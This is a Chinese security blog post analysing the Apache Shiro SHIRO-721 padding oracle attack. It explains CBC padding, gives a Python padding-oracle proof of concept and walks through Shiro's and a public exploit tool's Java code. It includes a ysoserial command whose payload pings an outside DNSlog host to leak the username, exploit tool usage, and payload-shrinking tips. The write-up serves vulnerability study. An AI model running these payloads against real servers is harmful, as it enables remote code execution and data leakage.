Shiro Padding Oracle攻击分析

本文由安全客首发,文章链接: https://www.anquanke.com/post/id/203869
安全客 - 有思想的安全新媒体

一、简介

Shiro,Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

Padding填充规则,我们的输入数据长度是不规则的,因此必然需要进行“填充”才能形成完整的“块”。简单地说,便是根据最后一个数据块所缺少的长度来选择填充的内容。例如,数据块长度要求是8字节,如果输入的最后一个数据块只有5个字节的数据,那么则在最后补充三个字节的0x3。如果输入的最后一个数据块正好为8字节长,则在最后补充一个完整的长为8字节的数据块,每个字节填0x8。如图-1所示,使用这个规则,我们便可以根据填充的内容来得知填充的长度,以便在解密后去除填充的字节。

Padding Oracle Attack,这种攻击利用了服务器在 CBC(密码块链接模式)加密模式中的填充测试漏洞。如果输入的密文不合法,类库则会抛出异常,这便是一种提示。攻击者可以不断地提供密文,让解密程序给出提示,不断修正,最终得到的所需要的结果。其中"Oracle"一词指的是“提示”,与甲骨文公司并无关联。加密时可以使用多种填充规则,但最常见的填充方式之一是在PKCS#5标准中定义的规则。PCKS#5的填充方式为:明文的最后一个数据块包含N个字节的填充数据(N取决于明文最后一块的数据长度)。下图是一些示例,展示了不同长度的单词(FIG、BANANA、AVOCADO、PLANTAIN、PASSIONFRUIT)以及它们使用PKCS#5填充后的结果(每个数据块为8字节长)。

 

图-1

 

 

二、加密方式拓普 

加密方式通常分为两大类:对称加密和非对称加密

对称加密又称单密钥加密,也就是字面意思,加密解密用的都是同一个密钥,常见的对称加密算法,例如DES、3DES、Blowfish、IDEA、RC4、RC5、RC6 和 AES。

非对称加密,就是说密钥分两个,一个公钥,一个私钥,加解密过程就是公钥加密私钥解密和私钥加密公钥匙解密,常见的非对称加密算法有,RSA、ECC(移动设备用)、Diffie-Hellman、El Gamal、DSA(数字签名用)等。

对称加密算法中一般分为两种加密模式:分组加密和序列密码

分组密码,也叫块加密(block cyphers),一次加密明文中的一个块。是将明文按一定的位长分组,明文组经过加密运算得到密文组,密文组经过解密运算(加密运算的逆运算),还原成明文组。

序列密码,也叫流加密(stream cyphers),一次加密明文中的一个位。是指利用少量的密钥(制乱元素)通过某种复杂的运算(密码算法)产生大量的伪随机位流,用于对明文位流的加密。

这里举例介绍对称加密算法的AES分组加密的五种工作体制:

  1. 电码本模式(Electronic Codebook Book (ECB))
  2. 密码分组链接模式(Cipher Block Chaining (CBC))
  3. 计算器模式(Counter (CTR))
  4. 密码反馈模式(Cipher FeedBack (CFB))
  5. 输出反馈模式(Output FeedBack (OFB))

 

【一】、ECB-电码本模式

这种模式是将明文分为若干块等长的小段,然后对每一小段进行加密解密

 

 

 

【二】、CBC-密码分组链接模式

跟ECB一样,先将明文分为等长的小段,但是此时会获取一个随机的 “初始向量(IV)” 参与算法。正是因为IV的参入,由得相同的明文在每一次CBC加密得到的密文不同。

再看看图中的加密原理,很像是数据结构中的链式结构,第一个明文块会和IV进行异或运算,然后和密匙一起传入加密器得到密文块。并将该密文块与下一个明文块异或,以此类推。

 

 

 

【三】、CTR-计算器模式

计算器模式不常见,在CTR模式中, 有一个自增的算子,这个算子用密钥(K)加密之后的输出和明文(P)异或的结果得到密文(C),相当于一次一密。这种加密方式简单快速,安全可靠,而且可以并行加密,但是在计算器不能维持很长的情况下,密钥只能使用一次。

 

 

【四】、CFB-密码反馈模式

直接看图吧

 

 

【五】、OFB-输出反馈模式

看图

 

 

从上述所述的几种工作机制中,都无一例外的将明文分成了等长的小段。所以当块不满足等长的时候,就会用Padding的方式来填充目标。

 

 三、Padding Oracle攻击原理讲解

当应用程序接受到加密后的值以后,它将返回三种情况:

 

  • 接受到正确的密文之后(填充正确且包含合法的值),应用程序正常返回(200 - OK)。
  • 接受到非法的密文之后(解密后发现填充不正确),应用程序抛出一个解密异常(500 - Internal Server Error)。
  • 接受到合法的密文(填充正确)但解密后得到一个非法的值,应用程序显示自定义错误消息(200 - OK)。

 

 

 

 

 这里从freebuf借来一张图,上图简单的概述了''TEST"的解密过程,首先输入密码经过加解密算法可以得到一个中间结果 ,我们称之为中间值,中间值将会和初始向量IV进行异或运算后得到明文

 那么攻击所需条件大致如下

  1. 拥有密文,这里的密文是“F851D6CC68FC9537”
  2. 知道初始向量IV
  3. 能够了解实时反馈,如服务器的200、500等信息。

 密文和IV其实可以通过url中的参数得到,例如有如下

http://sampleapp/home.jsp?UID=6D367076036E2239F851D6CC68FC9537

 

上述参数中的“6D367076036E2239F851D6CC68FC9537”拆分来看就是 IV和密文的组合,所以可以得到IV是“6D367076036E2239”

再来看看CBC的解密过程

 

 

 已经有IV、密文,只有Key和明文未知。再加上Padding机制。可以尝试在IV全部为0的情况下会发生什么

Request: http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537
Response: 500 - Internal Server Error

 

得到一个500异常,这是因为填充的值和填充的数量不一致

倘如发送如下数据信息的时候:

Request: http://sampleapp/home.jsp?UID=000000000000003CF851D6CC68FC9537
Response: 200 OK

最后的字节位上为0x01,正好满足Padding机制的要求。

 

 

在这个情况下,我们便可以推断出中间值(Intermediary Value)的最后一个字节,因为我们知道它和0x3C异或后的结果为0x01,于是:

因为 [Intermediary Byte] ^ 0x3C == 0x01, 
得到 [Intermediary Byte] == 0x3C ^ 0x01, 
所以 [Intermediary Byte] == 0x3D

 以此类推,可以解密出所有的中间值

 

 而此时块中的值已经全部填充为0x08了,IV的值也为“317B2B2A0F622E35”

 

 

 此时再将原本的IV与已经推测出的中间值进行异或就可以得到明文了

 

 当分块在一块之上时,如“ENCRYPT TEST”,攻击机制又是如何运作的呢?

 

 其实原理还是一样,在CBC解密时,先将密文的第一个块进行块解密,然后将结果与IV异或,就能得到明文,同时,本次解密的输入密文作为下一个块解密的IV。

不难看出,下一段明文的内容是受到上一段密文的影响的,这里附上道哥写的一个demo

  1 """
  2     Padding Oracle Attack POC(CBC-MODE)
  3     Author: axis(axis@ph4nt0m.org)
  4     http://hi.baidu.com/aullik5
  5     2011.9
  6   
  7     This program is based on Juliano Rizzo and Thai Duong's talk on 
  8     Practical Padding Oracle Attack.(http://netifera.com/research/)
  9   
 10     For Education Purpose Only!!!
 11   
 12     This program is free software: you can redistribute it and/or modify
 13     it under the terms of the GNU General Public License as published by
 14     the Free Software Foundation, either version 3 of the License, or
 15     (at your option) any later version.
 16   
 17     This program is distributed in the hope that it will be useful,
 18     but WITHOUT ANY WARRANTY; without even the implied warranty of
 19     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 20     GNU General Public License for more details.
 21   
 22     You should have received a copy of the GNU General Public License
 23     along with this program.  If not, see <http://www.gnu.org/licenses/>.
 24 """
 25   
 26 import sys
 27   
 28 # https://www.dlitz.net/software/pycrypto/
 29 from Crypto.Cipher import *
 30 import binascii
 31   
 32 # the key for encrypt/decrypt
 33 # we demo the poc here, so we need the key
 34 # in real attack, you can trigger encrypt/decrypt in a complete blackbox env
 35 ENCKEY = 'abcdefgh'
 36   
 37 def main(args):
 38   print
 39   print "=== Padding Oracle Attack POC(CBC-MODE) ==="
 40   print "=== by axis ==="
 41   print "=== axis@ph4nt0m.org ==="
 42   print "=== 2011.9 ==="
 43   print
 44   
 45   ########################################
 46   # you may config this part by yourself
 47   iv = '12345678'
 48   plain = 'aaaaaaaaaaaaaaaaX'
 49   plain_want = "opaas"
 50   
 51   # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2 
 52   cipher = "blowfish"
 53   ########################################
 54   
 55   block_size = 8
 56   if cipher.lower() == "aes":
 57     block_size = 16
 58   
 59   if len(iv) != block_size:
 60     print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!"
 61     return False
 62   
 63   print "=== Generate Target Ciphertext ==="
 64   
 65   ciphertext = encrypt(plain, iv, cipher)
 66   if not ciphertext:
 67     print "[-] Encrypt Error!"
 68     return False
 69   
 70   print "[+] plaintext is: "+plain
 71   print "[+] iv is: "+hex_s(iv)
 72   print "[+] ciphertext is: "+ hex_s(ciphertext)
 73   print
 74   
 75   print "=== Start Padding Oracle Decrypt ==="
 76   print
 77   print "[+] Choosing Cipher: "+cipher.upper()
 78   
 79   guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size)
 80   
 81   if guess:
 82     print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"])
 83     print "[+] plaintext = intermediary_value XOR original_IV"
 84     print "[+] Guess plaintext is: "+guess["plaintext"]
 85     print
 86   
 87     if plain_want:
 88       print "=== Start Padding Oracle Encrypt ==="
 89       print "[+] plaintext want to encrypt is: "+plain_want
 90       print "[+] Choosing Cipher: "+cipher.upper()
 91   
 92       en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size)
 93   
 94       if en:
 95         print "[+] Encrypt Success!"
 96         print "[+] The ciphertext you want is: "+hex_s(en[block_size:])
 97         print "[+] IV is: "+hex_s(en[:block_size])
 98         print
 99         
100         print "=== Let's verify the custom encrypt result ==="
101         print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:"
102         de = decrypt(en[block_size:], en[:block_size], cipher)
103         if de == add_PKCS5_padding(plain_want, block_size):
104           print de
105           print "[+] Bingo!"
106         else:
107           print "[-] It seems something wrong happened!"
108           return False
109   
110     return True
111   else:
112     return False
113   
114   
115 def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8):
116   # the last block
117   guess_cipher = ciphertext[0-block_size:] 
118   
119   plaintext = add_PKCS5_padding(plaintext, block_size)
120   print "[*] After padding, plaintext becomes to: "+hex_s(plaintext)
121   print
122   
123   block = len(plaintext)
124   iv_nouse = iv # no use here, in fact we only need intermediary
125   prev_cipher = ciphertext[0-block_size:] # init with the last cipher block
126   while block > 0:
127     # we need the intermediary value
128     tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False)
129   
130     # calculate the iv, the iv is the ciphertext of the previous block
131     prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] )
132   
133     #save result
134     guess_cipher = prev_cipher + guess_cipher
135   
136     block = block - block_size
137   
138   return guess_cipher  
139   
140   
141 def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True):
142   # split cipher into blocks; we will manipulate ciphertext block by block
143   cipher_block = split_cipher_block(ciphertext, block_size)
144   
145   if cipher_block:
146     result = {}
147     result["intermediary"] = ''
148     result["plaintext"] = ''
149   
150     counter = 0
151     for c in cipher_block:
152       if debug:
153         print "[*] Now try to decrypt block "+str(counter)
154         print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c)
155         print
156       # padding oracle to each block
157       guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug)
158   
159       if guess:
160         iv = c
161         result["intermediary"] += guess["intermediary"]
162         result["plaintext"] += guess["plaintext"]
163         if debug:
164           print
165           print "[+] Block "+str(counter)+" decrypt!"
166           print "[+] intermediary value is: "+hex_s(guess["intermediary"])
167           print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"]
168           print
169         counter = counter+1
170       else:
171         print "[-] padding oracle decrypt error!"
172         return False
173   
174     return result
175   else:
176     print "[-] ciphertext's block_size is incorrect!"   
177     return False
178   
179 def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True):
180   result = {}
181   plain = ''
182   intermediary = []  # list to save intermediary
183   iv_p = [] # list to save the iv we found
184   
185   for i in range(1, block_size+1):
186     iv_try = []
187     iv_p = change_iv(iv_p, intermediary, i)
188   
189     # construct iv
190     # iv = \x00...(several 0 bytes) + \x0e(the bruteforce byte) + \xdc...(the iv bytes we found)
191     for k in range(0, block_size-i):
192       iv_try.append("\x00")
193   
194     # bruteforce iv byte for padding oracle
195     # 1 bytes to bruteforce, then append the rest bytes
196     iv_try.append("\x00")
197   
198     for b in range(0,256):
199       iv_tmp = iv_try
200       iv_tmp[len(iv_tmp)-1] = chr(b)
201      
202       iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp)
203   
204       # append the result of iv, we've just calculate it, saved in iv_p
205       for p in range(0,len(iv_p)):
206         iv_tmp_s += iv_p[len(iv_p)-1-p]
207        
208       # in real attack, you have to replace this part to trigger the decrypt program
209       #print hex_s(iv_tmp_s) # for debug
210       plain = decrypt(ciphertext, iv_tmp_s, cipher)
211       #print hex_s(plain) # for debug
212   
213       # got it!
214       # in real attack, you have to replace this part to the padding error judgement
215       if check_PKCS5_padding(plain, i):
216         if debug:
217           print "[*] Try IV: "+hex_s(iv_tmp_s)
218           print "[*] Found padding oracle: " + hex_s(plain)
219         iv_p.append(chr(b))
220         intermediary.append(chr(b ^ i))
221          
222         break
223   
224   plain = ''
225   for ch in range(0, len(intermediary)):
226     plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) )
227      
228   result["plaintext"] = plain
229   result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1]
230   return result
231   
232 # save the iv bytes found by padding oracle into a list
233 def change_iv(iv_p, intermediary, p):
234   for i in range(0, len(iv_p)):
235     iv_p[i] = chr( ord(intermediary[i]) ^ p)
236   return iv_p  
237   
238 def split_cipher_block(ciphertext, block_size=8):
239   if len(ciphertext) % block_size != 0:
240     return False
241   
242   result = []
243   length = 0
244   while length < len(ciphertext):
245     result.append(ciphertext[length:length+block_size])
246     length += block_size
247   
248   return result
249   
250   
251 def check_PKCS5_padding(plain, p):
252   if len(plain) % 8 != 0:
253     return False
254   
255   # convert the string
256   plain = plain[::-1]
257   ch = 0
258   found = 0
259   while ch < p:
260     if plain[ch] == chr(p):
261       found += 1
262     ch += 1
263   
264   if found == p:
265     return True
266   else:
267     return False
268   
269 def add_PKCS5_padding(plaintext, block_size):
270   s = ''
271   if len(plaintext) % block_size == 0:
272     return plaintext
273   
274   if len(plaintext) < block_size:
275     padding = block_size - len(plaintext)
276   else:
277     padding = block_size - (len(plaintext) % block_size)
278    
279   for i in range(0, padding):
280     plaintext += chr(padding)
281   
282   return plaintext
283   
284 def decrypt(ciphertext, iv, cipher):
285   # we only need the padding error itself, not the key
286   # you may gain padding error info in other ways
287   # in real attack, you may trigger decrypt program
288   # a complete blackbox environment
289   key = ENCKEY
290   
291   if cipher.lower() == "des":
292     o = DES.new(key, DES.MODE_CBC,iv)
293   elif cipher.lower() == "aes":
294     o = AES.new(key, AES.MODE_CBC,iv)
295   elif cipher.lower() == "des3":
296     o = DES3.new(key, DES3.MODE_CBC,iv)
297   elif cipher.lower() == "blowfish":
298     o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
299   elif cipher.lower() == "cast":
300     o = CAST.new(key, CAST.MODE_CBC,iv)
301   elif cipher.lower() == "arc2":
302     o = ARC2.new(key, ARC2.MODE_CBC,iv)
303   else:
304     return False
305   
306   if len(iv) % 8 != 0:
307     return False
308   
309   if len(ciphertext) % 8 != 0:
310     return False
311   
312   return o.decrypt(ciphertext)
313   
314   
315 def encrypt(plaintext, iv, cipher):
316   key = ENCKEY
317   
318   if cipher.lower() == "des":
319     if len(key) != 8:
320       print "[-] DES key must be 8 bytes long!"
321       return False
322     o = DES.new(key, DES.MODE_CBC,iv)
323   elif cipher.lower() == "aes":
324     if len(key) != 16 and len(key) != 24 and len(key) != 32:
325       print "[-] AES key must be 16/24/32 bytes long!"
326       return False
327     o = AES.new(key, AES.MODE_CBC,iv)
328   elif cipher.lower() == "des3":
329     if len(key) != 16:
330       print "[-] Triple DES key must be 16 bytes long!"
331       return False
332     o = DES3.new(key, DES3.MODE_CBC,iv)
333   elif cipher.lower() == "blowfish":
334     o = Blowfish.new(key, Blowfish.MODE_CBC,iv)
335   elif cipher.lower() == "cast":
336     o = CAST.new(key, CAST.MODE_CBC,iv)
337   elif cipher.lower() == "arc2":
338     o = ARC2.new(key, ARC2.MODE_CBC,iv)
339   else:
340     return False
341   
342   plaintext = add_PKCS5_padding(plaintext, len(iv))  
343   
344   return o.encrypt(plaintext)
345   
346 def xor_str(a,b):
347   if len(a) != len(b):
348     return False
349   
350   c = ''
351   for i in range(0, len(a)):
352     c += chr( ord(a[i]) ^ ord(b[i]) )
353   
354   return c
355   
356 def hex_s(str):
357   re = ''
358   for i in range(0,len(str)):
359     re += "\\x"+binascii.b2a_hex(str[i])
360   return re
361   
362 if __name__ == "__main__":
363         main(sys.argv)
demo

 

 

四、Shiro反序列化复现

该漏洞是Apache Shiro的issue编号为SHIRO-721的漏洞

官网给出的详情是:

RememberMe使用AES-128-CBC模式加密,容易受到Padding Oracle攻击,AES的初始化向量iv就是rememberMe的base64解码后的前16个字节,攻击者只要使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后就可以构造RememberMe进行反序列化攻击,攻击者无需知道RememberMe加密的密钥。

相对于之前的SHIRO-550来说,这次的攻击者是无需提前知道加密的密钥。

Shiro-721所影响的版本:

1.2.5,
1.2.6,
1.3.0,
1.3.1,
1.3.2,
1.4.0-RC2,
1.4.0,
1.4.1

 

复现漏洞首先就是搭建环境,我这里从网上整了一个Shiro1.4.1的版本,漏洞环境链接:https://github.com/3ndz/Shiro-721/blob/master/Docker/src/samples-web-1.4.1.war

 先登陆抓包看一下

 

 

 此时有个RememberMe的功能,启用登陆后会set一个RememberMe的cookie

我在网上找到一个利用脚本,我就用这个脚本来切入分析

脚本地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721

 首先利用ceye.io来搞一个DNSlog。来作为yaoserial生成的payload

java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "ping %USERNAME%.jdjwu7.ceye.io" > payload.class

 

用法如下:

java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath

 

因为Shiro是用AES-CBC加密模式,所以blockSize的大小就是16

 

 运行后会在后台不断爆破,payload越长所需爆破时间就越长。

将爆破的结果复制替换之前的cookie

 就能成功触发payload收到回信了

五、Shiro反序列化分析

 还是结合代码来理解会更好的了解到漏洞的原理。

shrio处理Cookie的时候有专门的类----CookieRememberMeManager,而CookieRememberMeManager是继承与AbstractRememberMeManager

在AbstractRememberMeManager类中有如下一段代码

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
        try {
            byte[] bytes = getRememberedSerializedIdentity(subjectContext);
            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
            if (bytes != null && bytes.length > 0) {
                principals = convertBytesToPrincipals(bytes, subjectContext);
            }
        } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }

        return principals;
}

 

 其中getRememberedSerializedIdentity函数解密了base64,跟进去看看

 1 protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
 2 
 3         if (!WebUtils.isHttp(subjectContext)) {
 4             if (log.isDebugEnabled()) {
 5                 String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
 6                         "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
 7                         "immediately and ignoring rememberMe operation.";
 8                 log.debug(msg);
 9             }
10             return null;
11         }
12 
13         WebSubjectContext wsc = (WebSubjectContext) subjectContext;
14         if (isIdentityRemoved(wsc)) {
15             return null;
16         }
17 
18         HttpServletRequest request = WebUtils.getHttpRequest(wsc);
19         HttpServletResponse response = WebUtils.getHttpResponse(wsc);
20 
21         String base64 = getCookie().readValue(request, response);
22         // Browsers do not always remove cookies immediately (SHIRO-183)
23         // ignore cookies that are scheduled for removal
24         if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
25 
26         if (base64 != null) {
27             base64 = ensurePadding(base64);
28             if (log.isTraceEnabled()) {
29                 log.trace("Acquired Base64 encoded identity [" + base64 + "]");
30             }
31             byte[] decoded = Base64.decode(base64);
32             if (log.isTraceEnabled()) {
33                 log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
34             }
35             return decoded;
36         } else {
37             //no cookie set - new site visitor?
38             return null;
39         }
40     }

 

该函数在21行处读取Cookie中的值,并在31行decode传入的Cookie

在接着看刚才的getRememberedPrincipals函数,解密后的数组进入了convertBytesToPrincipals

principals = convertBytesToPrincipals(bytes, subjectContext);

 

1 protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
2         if (getCipherService() != null) {
3             bytes = decrypt(bytes);
4         }
5         return deserialize(bytes);
6     }

 

getCipherService()是返回了CipherService实例

 

 

 该实例在被初始化的时候就已经确定为AES实例

并在getCipherService()返回不为空,调用this.decrypt()

 

 再跟进后发现进入了JcaCipherService的decrypt方法

 1 public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
 2 
 3         byte[] encrypted = ciphertext;
 4 
 5         //No IV, check if we need to read the IV from the stream:
 6         byte[] iv = null;
 7 
 8         if (isGenerateInitializationVectors(false)) {
 9             try {
10                 //We are generating IVs, so the ciphertext argument array is not actually 100% cipher text.  Instead, it
11                 //is:
12                 // - the first N bytes is the initialization vector, where N equals the value of the
13                 // 'initializationVectorSize' attribute.
14                 // - the remaining bytes in the method argument (arg.length - N) is the real cipher text.
15 
16                 //So we need to chunk the method argument into its constituent parts to find the IV and then use
17                 //the IV to decrypt the real ciphertext:
18 
19                 int ivSize = getInitializationVectorSize();
20                 int ivByteSize = ivSize / BITS_PER_BYTE;
21 
22                 //now we know how large the iv is, so extract the iv bytes:
23                 iv = new byte[ivByteSize];
24                 System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);
25 
26                 //remaining data is the actual encrypted ciphertext.  Isolate it:
27                 int encryptedSize = ciphertext.length - ivByteSize;
28                 encrypted = new byte[encryptedSize];
29                 System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
30             } catch (Exception e) {
31                 String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
32                 throw new CryptoException(msg, e);
33             }
34         }
35 
36         return decrypt(encrypted, key, iv);
37 }    

 

其中ivSize是128,BITS_PER_BYTE是8,所以iv的长度就是16

并且将数组的前16为取作为IV,然后再传入下一个解密方法

private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException {
        if (log.isTraceEnabled()) {
            log.trace("Attempting to decrypt incoming byte array of length " +
                    (ciphertext != null ? ciphertext.length : 0));
        }
        byte[] decrypted = crypt(ciphertext, key, iv, javax.crypto.Cipher.DECRYPT_MODE);
        return decrypted == null ? null : ByteSource.Util.bytes(decrypted);
}

 

这里的crypt方法会检测填充是否正确

将处理后的数据一步步返回给convertBytesToPrincipals方法中的deserialize(bytes)

其实就是org.apache.shiro.io.DefaultSerializer的deserialize方法

造成最终的反序列化漏洞。

六、利用代码分析

我本来想直接贴代码注释的,但是想了想,不如用图文并茂的方式来呈现。更能让读者理解,同时也能激发读者的空间想象力带入到程序的运行步骤中。

 就先从encrypt方法开始吧

 1 public String encrypt(byte[] nextBLock) throws Exception {
 2         logger.debug("Start encrypt data...");
 3         byte[][] plainTextBlocks = ArrayUtil.splitBytes(this.plainText, this.blockSize);    //按blocksize大小分割plainText
 4 
 5         if (nextBLock == null || nextBLock.length == 0 || nextBLock.length != this.blockSize) {
 6             logger.warn("You provide block's size is not equal blockSize,try to reset it...");
 7             nextBLock = new byte[this.blockSize];
 8         }
 9         byte randomByte = (byte) (new Random()).nextInt(127);
10         Arrays.fill(nextBLock, randomByte);
11 
12         byte[] result = nextBLock;
13         byte[][] reverseplainTextBlocks = ArrayUtil.reverseTwoDimensionalBytesArray(plainTextBlocks);//反转数组顺序
14         this.encryptBlockCount = reverseplainTextBlocks.length;
15         logger.info(String.format("Total %d blocks to encrypt", this.encryptBlockCount));
16 
17         for (byte[] plainTextBlock : reverseplainTextBlocks) {
18             nextBLock = this.getBlockEncrypt(plainTextBlock, nextBLock);    //加密块,
19             result = ArrayUtil.mergerArray(nextBLock, result);      //result中容纳每次加密后的内容
20 
21             this.encryptBlockCount -= 1;
22             logger.info(String.format("Left %d blocks to encrypt", this.encryptBlockCount));
23         }
24 
25         logger.info(String.format("Generate payload success, send request count => %s", this.requestCount));
26 
27         return Base64.getEncoder().encodeToString(result);
28     }

 

传进来的参数是null,所以nextBLock的值是由random伪随机函数生成的,然后反转数组中的顺序

这里将分好块的payload带入到getBlockEncrypt方法中

private byte[] getBlockEncrypt(byte[] PlainTextBlock, byte[] nextCipherTextBlock) throws Exception {
        byte[] tmpIV = new byte[this.blockSize];
        byte[] encrypt = new byte[this.blockSize];
        Arrays.fill(tmpIV, (byte) 0);       //初始化tmpIV

        for (int index = this.blockSize - 1; index >= 0; index--) {
            tmpIV[index] = this.findCharacterEncrypt(index, tmpIV, nextCipherTextBlock);    //函数返回测试成功后的中间值
            logger.debug(String.format("Current string => %s, the %d block", ArrayUtil.bytesToHex(ArrayUtil.mergerArray(tmpIV, nextCipherTextBlock)), this.encryptBlockCount));
        }

        for (int index = 0; index < this.blockSize; index++) {
            encrypt[index] = (byte) (tmpIV[index] ^ PlainTextBlock[index]);     //中间值与明文块异或得到IV,也就是上一个加密块的密文
        }
        return encrypt;
}

 

将tmpIV全部初始为0,记住这里循环了blockSize次

接着往下跟this.findCharacterEncrypt()

 1 private byte findCharacterEncrypt(int index, byte[] tmpIV, byte[] nextCipherTextBlock) throws Exception {
 2         if (nextCipherTextBlock.length != this.blockSize) {
 3             throw new Exception("CipherTextBlock size error!!!");
 4         }
 5 
 6         byte paddingByte = (byte) (this.blockSize - index);     //本次需要填充的字节
 7         byte[] preBLock = new byte[this.blockSize];
 8         Arrays.fill(preBLock, (byte) 0);
 9 
10         for (int ix = index; ix < this.blockSize; ix++) {
11             preBLock[ix] = (byte) (paddingByte ^ tmpIV[ix]);    //更新IV
12         }
13 
14         for (int c = 0; c < 256; c++) {
15             //nextCipherTextBlock[index] < 256,那么在这个循环结果中构成的结果还是range(1,256)
16             //所以下面两种写法都是正确的,当时看到原作者使用的是第一种方式有点迷,测试了下都可以
17 //            preBLock[index] = (byte) (paddingByte ^ nextCipherTextBlock[index] ^ c);
18             preBLock[index] = (byte) c;
19 
20             byte[] tmpBLock1 = Base64.getDecoder().decode(this.loginRememberMe);    //RememberMe数据
21             byte[] tmpBlock2 = ArrayUtil.mergerArray(preBLock, nextCipherTextBlock);    //脏数据
22             byte[] tmpBlock3 = ArrayUtil.mergerArray(tmpBLock1, tmpBlock2);
23             String remeberMe = Base64.getEncoder().encodeToString(tmpBlock3);
24             if (this.checkPaddingAttackRequest(remeberMe)) {
25                 return (byte) (preBLock[index] ^ paddingByte);      //返回中间值
26             }
27         }
28         throw new Exception("Occurs errors when find encrypt character, could't find a suiteable Character!!!");
29     }

 

因为需要爆破的块是第几块所填充的字节就是多少,所以这里用blockSize-index算出本次循环需要填充的字节数

然后在10行的循环处,是为了每次爆破完上一个IV,将计算出的中间值更新到tmpIV中,此时计算下一个时候只需要与下一个要匹配的值异或就能得到本次的IV。(如果这里没理解透的一定要多看几遍Padding填充原理)

接下来就是爆破,循环256次依次爆破出正确的IV值。

这里的mergerArray方法就是将参数二衔接到参数一的后面,组成一个新的字节数组

这里借助安全客上的一张图:

 

 可以了解到之后所填充的脏数据是对反序列化没有影响的,通过这个机制就可以在之前的cookie上来运行Padding Oracle测试

如下便是加密第一个payload块时候所生成的脏数据

 

 随后通过checkPaddingAttackRequest发送数据包测试,如果成功将IV与当前的填充字节异或就能得到中间值返回

当本块所有IV都推测出之后与payload异或

for (int index = 0; index < this.blockSize; index++) {
            encrypt[index] = (byte) (tmpIV[index] ^ PlainTextBlock[index]);     //中间值与明文块异或得到IV,也就是上一个加密块的密文
        }

 

 

 因为经费有限,搞到一个模糊但是直观的思维导图。

将所有的加密块加密后在经过Base64编码输出,就能得到完整利用的RememberMe Cookie了

七、给Payload瘦身

因为加密密文块按照所划分的16个字节一块,如果一个3kb的payload所划分,能划分1024*3/16=192块!

所以payload的大小直接的影响了攻击所需成本(时间)

阅读先知的文章了解到,文章链接:https://xz.aliyun.com/t/6227

只需要将下述代码更改(注释是需要更改的代码)

public static class StubTransletPayload  {}
    /*
    *PayloadMini
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {

        private static final long serialVersionUID = -5971610431559700674L;


        public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}


        @Override
        public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
    */
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
        /*
        *PayloadMini
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });
        */

 

 然后重写打包yaoserial生成之前的payload

 

 字节:2787kb -> 1402kb

直接从175块瘦身到了88块!

同时payload也能成功运行!

 

 

Reference:

  1. https://www.cnblogs.com/wh4am1/p/6557184.html
  2. https://blog.csdn.net/qq_25816185/article/details/81626499
  3. https://github.com/wuppp/shiro_rce_exp/blob/master/paddingoracle.py
  4. https://www.anquanke.com/post/id/192819
  5. 《白帽子讲Web安全》,吴翰清著
  6. https://www.freebuf.com/articles/web/15504.html
  7. https://issues.apache.org/jira/browse/SHIRO-721
  8. https://github.com/longofo/PaddingOracleAttack-Shiro-721
  9. https://github.com/3ndz/Shiro-721/blob/master/Docker/src/samples-web-1.4.1.war
  10. https://www.anquanke.com/post/id/193165
  11. https://xz.aliyun.com/t/6227
posted @ 2020-04-28 13:29  admin-神风  阅读(1492)  评论(0编辑  收藏  举报